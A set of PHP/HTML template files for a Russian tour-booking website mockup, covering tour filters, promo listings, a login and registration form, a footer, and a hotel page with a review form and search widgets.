<div class="flex-6 col-xs-6 col-sm-4 col-md-3 col-lg-4 text-right">
<span class="hidden-xs">До вылета:</span>
<label class="x-input-dd x-text no-caret">
<input type="hidden">
<sub data-before="Через: "></sub>
<span>
<i data-value="1">2-3 дня</i>
<i data-value="2">3-5 дней</i>
<i data-value="3">5-10 дней</i>
<i data-value="4">более 10 дней</i>
</span>
</label>
</div>
<div class="flex-5 col-xs-6 col-sm-3 col-md-3 col-lg-3">
<span class="hidden-xs">Едем на:</span>
<label class="x-input-dd x-text no-caret">
<input type="hidden">
<sub data-before="На: "></sub>
<span>
<i data-value="1">5-7 дней</i>
<i data-value="2">7-12 дней</i>
<i data-value="4">более 12 дней</i>
</span>
</label>
</div>
<div class="flex-3 col-xs-7 col-sm-3 col-md-3 col-lg-2 text-right pull-right">
<div style="height:27px" class="visible-sm"></div>
<span class="hidden-xs">Нас едет</span>
<label class="x-input-plus-minus">
<span class="x-minus">—</span>
<span class="x-plus">+</span>
<input type="number" step="1" min="1" max="27" value="2" readonly>
</label>
</div>
<div class="flex-7 col-xs-12 col-sm-9 col-md-12 col-lg-12 x-input-chk-group">
<div style="height:20px" class="hidden-xs"></div>
<sub>Дополнительно</sub>
<span class="x-group">
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Дешево</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Потусить</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>С детьми</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>На пляж</span>
</label>
<label class="x-input-check">
<input type="checkbox">
<i><i class="fa fa-check"></i></i>
<span>Виза не нужна</span>
</label>
<label class="x-input-check">
<input type="checkbox">
<i><i class="fa fa-check"></i></i>
<span>Все включено</span>
</label>
<label class="x-input-check">
<input type="checkbox">
<i><i class="fa fa-check"></i></i>
<span>Экскурсии</span>
</label>
<span class="invisible" style="display:inline-block;width:100%"></span>
</span>
</div>
</div>
<div class="container">
<div class="row">
<?php for($i=1;$i<=9;$i++){ ?>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block tour-block-new">
<div class="tour-header row">
<h2 class="col-md-7">SIGMA RESORT <?php if(rand(0,1)) echo 'JOMTIEN PATTAYA'; ?></h2>
<div class="tour-rating col-md-5">
<div class="tour-rating--star"><img src="img/tour-rating.png" width="59" height="12" alt=""></div>
<span class="tour-rating--num">~ 4,2</span>
</div>
</div>
<div class="tour-desc">Таиланд, Паттайя, пляж Джомтьен, 1 линия, Песок, Оборудованный</div>
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<a href="#" class="like like-left"></a>
</div>
<div class="tour-footer">
<div class="col-md-4">
<div class="tour-eat">
<span>Завтраки</span>
19 ноября на 6 ночей
</div>
</div>
<div class="col-md-3">
<a href="#" class="tour-commentlink">Отзывы (14)</a>
</div>
<div class="col-md-5">
<div class="tour-price">34 200 <i class="fa fa-rub"></i></div>
</div>
</div>
</div>
</div>
<?php } ?>
</div>
</div>
<div class="more"><a href="#">Загрузить еще</a></div><file_sep>/login-reg.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: login.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/
$footer = 'hide';
?>
<style>html,body,#site-wrap{height:100%}.container-fluid {padding-bottom: 25px;background-color: rgba(0,0,50,.1);}</style>
<div id="login-reg">
<div id="lr-form">
<a onclick="history.back(); return false;" href="#" class="fa fa-times close-back"></a>
<ul class="nav nav-tabs">
<li class="active"><a href="#login" data-toggle="tab">Вход на сайт</a></li>
<li><a href="#register" data-toggle="tab">Регистрация</a></li>
</ul>
<!-- Tab panes -->
<div class="tab-content">
<div class="tab-pane fade in active" id="login">
<form action="#">
<input type="email" id="auth-login" placeholder="Электронная почта">
<input type="password" id="auth-pass" placeholder="<PASSWORD>">
<button type="submit" class="btn btn-green">Войти на сайт</button>
<div class="or-soc"><span>или</span> при помощи социальных сетей</div>
<div class="auth-soc">
<a href="#" class="auth-vk"></a>
<a href="#" class="auth-fb"></a>
<a href="#" class="auth-ok"></a>
<a href="#" class="auth-tw"></a>
</div>
</form>
</div>
<div class="tab-pane fade" id="register">
<form action="#">
<input type="text" id="reg-subname" placeholder="Фамилия">
<input type="text" id="reg-name" placeholder="Имя">
<input type="email" id="reg-mail" placeholder="Электронная почта">
<input type="text" id="reg-city" placeholder="Город">
<button type="submit" class="btn btn-green">Зарегистрироваться</button>
<div class="or-soc"><span>или</span> при помощи социальных сетей</div>
<div class="auth-soc">
<a href="#" class="auth-vk"></a>
<a href="#" class="auth-fb"></a>
<a href="#" class="auth-ok"></a>
<a href="#" class="auth-tw"></a>
</div>
</form>
</div>
</div>
</div>
</div><file_sep>/test.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: test.php
* Project: TOUR
* Date: 13.11.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" style="background:#000"><h3>TEST</h3></div>
<div class="container">
<div id="new-filters">
<div>
<span class="hidden-xs">Группа чекбоксов</span>
<div class="x-input-chk-group">
<sub>Опции</sub>
<span class="x-group">
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Первый чекбокс</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Второй чекбокс</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Третий чекбокс</span>
</label>
<label class="x-input-check">
<input type="checkbox" checked>
<i><i class="fa fa-check"></i></i>
<span>Четвертый чекбокс</span>
</label>
</span>
</div>
</div>
<div>
<label class="x-input-plus-minus">
<span class="x-minus">—</span>
<span class="x-plus">+</span>
<input type="number" step="1" min="1" max="27" value="2" readonly>
</label>
</div>
<div>
<label class="x-input-dd">
<input type="hidden" placeholder="Выпадающий список">
<sub></sub>
<span>
<i data-value="1">Екатеринбург</i>
<i data-value="2">Москва</i>
<i data-value="3">Санкт Петербург</i>
<i data-value="4">Владивосток</i>
</span>
</label>
</div>
<div>
<span class="hidden-xs">Текстовый выпадающий список</span>
<label class="x-input-dd x-text">
<input type="hidden" placeholder="Выбрать город">
<sub data-before="Из: "></sub>
<span>
<i data-value="1">Екатеринбург</i>
<i data-value="2">Москва</i>
<i data-value="3">Санкт Петербург</i>
<i data-value="4">Владивосток</i>
</span>
</label>
</div>
<pre id="log"></pre>
<button id="x">X</button>
</div>
</div>
<script>
ready(function() {
function log(data){
$('#log').append(data+"\r\n");
}
});
</script><file_sep>/promo.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: promo.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-promo.jpg')">
<h3 class="hidden-xxs">Самые выгодные предложения</h3>
</div>
<div class="container" id="filters">
<h3 class="visible-xxs">Самые выгодные предложения</h3>
<div class="row">
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-6 big">
<span class="hidden-xs">Отправление из</span>
<!-- <span class="hidden-xs dropdown-text">Екатеринбурга</span>-->
<select class="selectize-text dropdown-text w200" placeholder="">
<option value="1">Екатеринбурга</option>
<option value="2">Москвы</option>
<option value="3">Питера</option>
<option value="4">Брянска</option>
</select>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">Откуда<span
class="caret"></span></button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
</div>
<div class="clearfix visible-xs"></div>
<div class="hidden-xs col-sm-6 col-md-6 col-lg-6 text-right big">
<span>Валюта</span>
<!-- <span class="dropdown-text">RUB<span class="caret"></span></span>-->
<select class="selectize-text dropdown-text w55" placeholder="">
<option value="1">RUB</option>
<option value="2">USD</option>
<option value="3">EUR</option>
<option value="4">GBP</option>
</select>
<span class="view-change"><a class="active" href="#">Плиткой</a><a href="#">Списком</a></span>
</div>
<div class="clearfix visible-sm visible-xs"></div>
<div class="col-xs-12 col-sm-4 col-md-3 col-lg-2 pull-right text-right people-count">
<div class="visible-md visible-lg clearfix" style="margin-top: 18px;"></div>
<span class="hidden-sm hidden-xs">Нас едет</span>
<label class="count-input">
<span class="pull-right minus">-</span>
<span class="pull-left plus">+</span>
<input type="number" step="1" min="1" max="27" value="2">
</label>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>RUB
</button>
<ul class="dropdown-menu">
<li><a href="#">USD</a></li>
<li><a href="#">EUR</a></li>
</ul>
</div>
</div>
<div class="hidden-xs col-sm-8 col-md-9 col-lg-10 checkboxes">
<div class="element"><input type="checkbox" id="fcb-1" checked><label
for="fcb-1"><span></span> Дешево</label></div>
<div class="element"><input type="checkbox" id="fcb-2" checked><label
for="fcb-2"><span></span> Потусить</label></div>
<div class="element"><input type="checkbox" id="fcb-3" checked><label
for="fcb-3"><span></span> С детьми</label></div>
<div class="element"><input type="checkbox" id="fcb-4" checked><label
for="fcb-4"><span></span> На пляж</label></div>
<div class="element"><input type="checkbox" id="fcb-5"><label
for="fcb-5"><span></span> Виза не нужна</label></div>
<div class="element"><input type="checkbox" id="fcb-6"><label for="fcb-6"><span></span> Все включено</label>
</div>
<div class="element"><input type="checkbox" id="fcb-7"><label for="fcb-7"><span></span> Экскурсии</label>
</div>
<div class="element invisible" style="width:100%"></div>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Aktas Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-2.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-3.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2><NAME>
<small>Китай, Пекин, Средний Чаоян, 25 км от аэропорта</small>
</h2>
<div class="price">28 500 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-4.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-5.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Ping An Fu
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="more"><a href="#">Загрузить еще</a></div><file_sep>/_footer.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: _footer.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/?>
<div class="container-fluid footer-container">
<footer class="row">
<?php
if(isset($_GET['p']) && file_exists($_GET['p'].'.php')){
}
else{?>
<div class="footer-main-top"><img src="img/footer-main-top.png?ver=1.0" alt=""></div>
<?php
}
?>
<a href="tel:88005553535" class="col-xs-12 footer-phone visible-xs">8 800 555 35 35</a>
<div class="clearfix visible-xs"></div>
<div class="col-md-5 col-md-offset-1 col-sm-12">
<div class="row">
<div class="footer-out-pages col-sm-2 col-xs-2 pull-right visible-sm visible-xs">
<a href="#" class="fa fa-facebook"></a>
<a href="#" class="fa fa-youtube"></a>
<a href="#" class="fa fa-instagram"></a>
<a href="#" class="fa fa-vk"></a>
</div>
<div class="col-md-6 col-sm-5 col-xs-10">
<ul class="nav-footer">
<li><a href="#">О компании</a></li>
<li><a href="#">Точки оформления</a></li>
<li><a href="#">Туроператоры</a></li>
<li><a href="#">Отели по странам</a></li>
</ul>
</div>
<div class="col-md-6 col-sm-5 col-xs-10">
<ul class="nav-footer">
<li><a href="#">Туры по странам</a></li>
<li><a href="#">Отзывы клиентов</a></li>
<li><a href="#">Частные вопросы</a></li>
<li><a href="#">Блог</a></li>
</ul>
</div>
</div>
</div>
<div class="clearfix visible-sm"></div>
<div class="col-md-5">
<hr class="visible-xs">
<div class="copyright">
<p>© <?=date('Y')?> PoedemVtur</p>
<p>Вся информация, размещенная на сайте, носит исключительно информационный характер и не является рекламой и публичной офертой</p>
</div>
<a href="tel:88005553535" class="footer-phone hidden-xs">8 800 555 35 35</a>
<div class="footer-out-pages hidden-sm hidden-xs">
<a href="#" class="fa fa-facebook">
<svg width="140%" height="140%">
<circle class="path" r="22" cx="25" cy="24" fill="transparent" stroke-width="3"></circle>
</svg>
</a>
<a href="#" class="fa fa-youtube">
<svg width="140%" height="140%">
<circle class="path" r="22" cx="25" cy="24" fill="transparent" stroke-width="3"></circle>
</svg>
</a>
<a href="#" class="fa fa-instagram">
<svg width="140%" height="140%">
<circle class="path" r="22" cx="25" cy="24" fill="transparent" stroke-width="3"></circle>
</svg>
</a>
<a href="#" class="fa fa-vk">
<svg width="140%" height="140%">
<circle class="path" r="22" cx="25" cy="24" fill="transparent" stroke-width="3"></circle>
</svg>
</a>
</div>
</div>
<div id="design-copy" class="hidden-xs">Дизайн сайта - OPENPIXEL</div>
<div id="stt"></div>
</footer>
</div>
<file_sep>/promo-item.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: promo-item.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" class="large" style="background-image:url('/DEMO/sh-promo-item.jpg')">
<h3>Загадки Стамбула и неизведанная Турция! Море экскурсий!</h3>
<div id="circle-blocks">
<div class="block" id="cbl-1">
<div class="icon" style="background-image:url(/img/circle-1.png)"></div>
<div class="info">
<h4 class="title">Приемлимые цены</h4>
<span class="text">Сообщите нам, если найдете туры дешевле</span>
</div>
</div>
<div class="block active" id="cbl-2">
<div class="icon" style="background-image:url(/img/circle-2.png)"></div>
<div class="info">
<h4 class="title">Приемлимые цены</h4>
<span class="text">Сообщите нам, если найдете туры дешевле</span>
</div>
</div>
<div class="block" id="cbl-3">
<div class="icon" style="background-image:url(/img/circle-3.png)"></div>
<div class="info">
<h4 class="title">Приемлимые цены</h4>
<span class="text">Сообщите нам, если найдете туры дешевле</span>
</div>
</div>
<div class="controls">
<span data-target="cbl-1"></span>
<span data-target="cbl-2" class="active"></span>
<span data-target="cbl-3"></span>
</div>
</div>
</div>
<div id="promo-item">
<div class="container">
<h1>Уникальные места, потрясающие памятники, которые Вы не забудете!</h1>
<div class="row">
<div class="col-sm-9 col-md-9 col-lg-9">
<p>Тур "Наследие великих цивилизаций" поражает воображение! Целых 3 дня путешествия посвящены загадочному Стамбулу. Затем Вы побываете в Чанаккале, где разворачивалось действие «Илиады», увидите культурные святыни, открытые во время раскопок Шлиманна! Вас ждут руины города Пергам, «хлопковый замок» в Памуккале, термальные ванны Клеопатры, древний город Иераполис, экскурсия по Анталии и поездка к невероятному водопаду!</p>
<p>В стоимость тура включены: перелёт, проживание в отелях с завтраками, трансферы на комфортабельном автобусе, экскурсии, услуги гида.</p>
</div>
<div class="col-sm-3 col-md-3 col-lg-3 weather">
<div class="temp" data-operator="+" style="background-image:url(/img/weather-1.png)">35</div>
<div class="desc">Переменная облачность, без осадков</div>
</div>
</div>
<hr>
<div class="row">
<div class="col-md-4 col-lg-4">
<h2>Доступные вылеты</h2>
<div id="date-picker"></div>
<script type="text/javascript">
ready(function () {
$('#date-picker').datetimepicker({
locale: 'ru',
format: "dddd, MMMM Do YYYY",
inline: true,
sideBySide: true
});
});
</script>
</div>
<div class="col-md-8 col-lg-8">
<div id="filters">
<div class="row">
<div class="btn-group visible-xs col-xs-12">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>Откуда</button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
<div class="col-xs-12 col-sm-8 col-md-8 hidden-xs" style="line-height: 25px;">
<span class="hidden-xs">Отправление из</span>
<span class="hidden-xs dropdown-text">Екатеринбурга</span>
<span style="margin-left:20px">Валюта</span>
<span class="dropdown-text">RUB<span class="caret"></span></span>
</div>
<div class="col-xs-12 col-sm-4 col-md-4 text-right people-count">
<span class="hidden-sm hidden-xs">Нас едет</span>
<label class="count-input">
<span class="pull-right minus">-</span>
<span class="pull-left plus">+</span>
<input type="number" step="1" min="1" max="27" value="2">
</label>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>RUB</button>
<ul class="dropdown-menu">
<li><a href="#">USD</a></li>
<li><a href="#">EUR</a></li>
</ul>
</div>
</div>
</div>
</div>
<div>
<?for($i=0;$i<5;$i++):?>
<div class="col-md-12 tour-list-item clearfix">
<div class="col-xs-7 col-sm-4 col-md-4 pull-right" style="min-height:50px;">
<div class="price pull-right text-left">28 500 <i class="fa fa-rub"></i><small>на всех</small></div>
<div class="btn btn-orange">Купить сейчас</div>
</div>
<div class="col-xs-5 col-sm-5 col-md-5">
<div class="xs-pull-left"><span class="date">10.12</span> <span class="hidden-xs"> вылет</span></div>
<div class="xs-pull-left"><span class="date"><b class="visible-xs-inline-block">- </b>16.12</span> <span class="hidden-xs"> обратно, 7 ночей</span></div>
<div class="visible-xs clearfix"></div>
<div class="visible-xs">7 ночей</div>
</div>
<div class="col-xs-5 col-sm-3 col-md-3 info">
<span>Завтраки</span>
</div>
</div>
<?endfor;?>
</div>
</div>
</div>
</div>
</div><file_sep>/hotel.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: hotel.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/?>
<nav id="hotel-comment" class="navmenu navmenu-default navmenu-fixed-right offcanvas" role="navigation">
<div class="hotel-addcomment-bar">
<h3>
Добавить отзыв
<button href="#" class="hotel-comment--close" data-toggle="offcanvas" data-target="#hotel-comment" data-canvas="#site-wrap"><i class="fa fa-times"></i></button>
</h3>
<form class="hotel-addcomment-form">
<div class="form-group">
<input type="text" class="form-control" placeholder="Представтесь">
</div>
<div class="input-group date">
<input type="text" class="form-control" placeholder="Дата отдыха">
<span class="input-group-addon">
<i class="fa fa-calendar"></i>
</span>
</div>
<ul class="input-group--checkboxs">
<li>
<label class="x-input-radio">
<input type="radio" name="col" id="addcomment-col1" checked>
<i><i></i></i>
<span>Отдыхал(а)</span>
</label>
</li>
<li>
<label class="x-input-radio">
<input type="radio" name="col" id="addcomment-col2">
<i><i></i></i>
<span>С семьей</span>
</label>
</li>
</ul>
<div class="form-group">
<h4>Обслуживание</h4>
<select class="form-control">
<option>Выберите</option>
<?php for($i=1;$i<=10;$i++){ ?>
<option><?php echo $i; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group">
<h4>Питание</h4>
<select class="form-control">
<option>Выберите</option>
<?php for($i=1;$i<=10;$i++){ ?>
<option><?php echo $i; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group">
<h4>Состояние номера</h4>
<select class="form-control">
<option>Выберите</option>
<?php for($i=1;$i<=10;$i++){ ?>
<option><?php echo $i; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group">
<textarea class="form-control" placeholder="Общее впечатление" rows="3"></textarea>
</div>
<div class="hotel-addcomment-photos">
<?php for($i=0;$i<3;$i++){ ?>
<div class="hotel-addcomment-item">
<div class="hotel-addcomment-photo">
<a href="#" class="hotel-addcomment-photo--remove"><i class="fa fa-times" aria-hidden="true"></i></span></a>
<span class="hotel-addcomment-photo--text">Загрузить<br>фото</span>
<input type="file" class="hotel-addcomment-photo--input" name="photo<?php echo $i; ?>" accept="image/*">
</div>
</div>
<?php } ?>
</div>
<a href="#" class="hotel-addcomment-addphoto">добавить Еще фото</a>
<div class="hotel-addcomment-btn">
<button class="btn btn-orange btn-block">оставить отзыв</button>
</div>
</form>
</div>
</nav>
<div id="sub-header" class="sub-header_hotel xxs-compact" style="background-image:url('img/bg-sub-header-hotel.jpg')">
</div>
<div class="hotel-header">
<div class="container">
<div class="row">
<div class="col-md-8 col-sm-8">
<h1 class="hotel-name">PORTO AZZURRO CLUB MARE</h1>
<ul class="hotel-breadcrumbs">
<li><a href="#">Отели Австрия</a></li>
<li class="sep">/</li>
<li>Porto Azzurro Club Mare</li>
</ul>
</div>
<div class="col-md-4 col-sm-4 col-xs-12 text-right-no-xs text-right">
<div class="hotel-rating">
<div class="hotel-rating--star"><img src="DEMO/rating.png" width="123" height="19" alt=""></div>
<span class="hotel-rating--number">~ 4,7</span>
</div>
<button class="hotel-addcomment btn btn-yellow" data-recalc="false" data-toggle="offcanvas" data-target="#hotel-comment" data-canvas="#site-wrap">добавить отзыв</button>
</div>
</div>
</div>
</div>
<div class="hotel-slider--wrapper">
<div class="container">
<div class="hotel-slider hidden-xs">
<?php for($i=0;$i<=9;$i++){ ?>
<div>
<div class="hotel-slide">
<a href="DEMO/hotel<?php echo rand(1,3); ?>.jpg" class="fancybox" rel="hotel-gallery1">
<img src="DEMO/hotel<?php echo rand(1,3); ?>.jpg" alt="">
<span class="hotel-slide--zoom icons-search"></span>
</a>
</div>
</div>
<?php } ?>
</div>
<div class="hotel-slider visible-xs">
<?php for($i=0;$i<=4;$i++){ ?>
<div>
<div class="hotel-slide">
<a href="DEMO/hotel<?php echo rand(1,3); ?>.jpg" class="fancybox" rel="hotel-gallery1">
<img src="DEMO/hotel<?php echo rand(1,3); ?>.jpg" alt="">
<span class="hotel-slide--zoom icons-search"></span>
</a>
</div>
</div>
<?php } ?>
</div>
</div>
</div>
<div class="hotel-info hidden-xs">
<div class="container">
<div class="row">
<div class="col-md-4 col-sm-4">
<div class="hotel-info--item">
<div class="hotel-info--img">
<span class="icons-hotel-beach"></span>
</div>
<div class="hotel-info--content">
<h3 class="hotel-info--header">Пляж</h3>
<p>Муниципальный, 495 м до пляжа,
в пешей доступности, песок,
оборудованный</p>
<p>Пусть к пляжу: через дорогу
Выход на море: пологий.</p>
</div>
</div>
</div>
<div class="col-md-4 col-sm-4">
<div class="hotel-info--item">
<div class="hotel-info--img">
<span class="icons-hotel-info"></span>
</div>
<div class="hotel-info--content">
<h3 class="hotel-info--header">Коротко об отеле</h3>
<p>50 номеров, 11 этажей, тип корпуса: одно здание</p>
<p>Год строительства: 2009</p>
</div>
</div>
</div>
<div class="col-md-4 col-sm-4">
<div class="hotel-info--item">
<div class="hotel-info--img">
<span class="icons-hotel-pool"></span>
</div>
<div class="hotel-info--content">
<h3 class="hotel-info--header">Бассейны</h3>
<p>Открытый басейн</p>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="hotel">
<div class="container">
<!-- Nav tabs -->
<ul class="nav" id="hotel-tabs">
<li class="active"><a href="#info" data-toggle="tab">Описание и туры</a></li>
<li><a href="#comments" data-toggle="tab">Отзывы клиентов <span>7</span></a></li>
<li><a href="#map" data-toggle="tab">Отель на карте</a></li>
</ul>
</div>
<!-- Tab panes -->
<div class="tab-content">
<div class="visible-xs">
<a href="#" class="tab-xs-header tab-xs-header_active">Описание и туры <span class="icon"><i class="fa fa-angle-up"></i></span></a>
</div>
<div class="tab-pane fade in active" id="info">
<div class="hotel-search--container">
<div class="hotel-search--form">
<form action="#" class="form-hotelsearch">
<div class="container">
<div class="row">
<div class="col-sm-12">
<div class="roundtour-city">
Город вылета: <a href="#" class="roundtour-city--select">Москва</a>
<div class="roundtour-city--submenu">
<input type="text" class="form-control roundtour-city--search" value="Москва">
<a href="#" class="roundtour-city--close"><span class="icons-close_orange"></span></a>
<div class="roundtour-city--wrapper scrollbar-inner">
<ul class="roundtour-city--list">
<li>Москва</li>
<li>Санкт-Петербург</li>
<li>Абакан</li>
<li>Актау</li>
<li>Актобе</li>
<li>Алматы</li>
<li>Анадырь</li>
<li>Анапа</li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-md-4 col-sm-6">
<div class="form-group roundtour-place--container">
<a href="#" class="roundtour-place">
<span class="icon icons-location_orange"></span>
<span class="text">Где хотите отдохнуть?</span>
</a>
<div class="roundtour-place--submenu">
<input type="text" class="form-control roundtour-place--search" value="" placeholder="Где хотите отдохнуть?">
<span class="roundtour-place--searchicon icons-location_orange"></span>
<div class="roundtour-place--wrapper scrollbar-inner">
<ul class="roundtour-place--list">
<?php
$icons = array('','home','location','aircraft');
$curort = array('','Анапа','Аналипси','Evason Ana Mandara','Hostal Santa Ana Hostal Santa Ana','Ana Mandara Hue','Apatrments Ana');
$curortCountry = array('','Россия','Греция','Испания ЛЛарет-де-Мар','Вьетнам Фуванг','Черногория Котор');
for($i=1;$i<=20;$i++){ ?>
<li>
<div class="roundtour-place--icon"><span class="icons-<?php echo $icons[rand(1,3)]; ?>"></span></div>
<div class="roundtour-place--info">
<h4 class="roundtour-place--curort"><?php echo $curort[rand(1,6)]; ?></h4>
<span class="roundtour-place--country"><?php echo $curortCountry[rand(1,5)]; ?></span>
</div>
<div class="roundtour-place--img"><img src="DEMO/curort<?php echo rand(1,3); ?>.jpg?ver=1.0" alt=""></div>
</li>
<?php } ?>
</ul>
</div>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6 no-leftpadding" >
<div class="form-group">
<a href="#" class="roundtour-date hotel-roundtour-date--open" data-open="noblur">
<span class="icon icons-calendar_orange"></span>
<span class="text">
<span class="roundtour-date--months">Выберите дату</span>
<span class="roundtour-date--nights">и количество ночей</span>
</span>
</a>
</div>
</div>
<div class="col-md-5 col-sm-12 no-leftpadding">
<div class="roundtour-people">
<div class="roundtour-people--active">
<ul class="roundtour-people--adults">
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
</ul>
<ul class="roundtour-people--childrens">
<!--
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-children_white hidden-xs hidden-sm"></span>
<span class="icons-people-childrensm_white visible-sm visible-xs"></span>
<div class="roundtour-people--year">2</div>
</li>
-->
</ul>
</div>
<a href="#" class="roundtour-people--addadults">
<span class="text icons-plus_yellow"></span>
<span class="icon icons-people-adult_yellow hidden-xs hidden-sm"></span>
<span class="icon icons-people-adultsm_yellow visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--addchildrens-wrapper">
<a href="#" class="roundtour-people--addchildrens">
<span class="text icons-plus_yellow"></span>
<span class="icon icons-people-children_yellow hidden-xs hidden-sm"></span>
<span class="icon icons-people-childrensm_yellow visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--years scrollbar-inner">
<ul>
<li>1 год</li>
<li>2 года</li>
<li>3 года</li>
<li>4 года</li>
<li>5 лет</li>
<li>6 лет</li>
<li>7 лет</li>
<li>8 лет</li>
</ul>
</div>
</div>
</div>
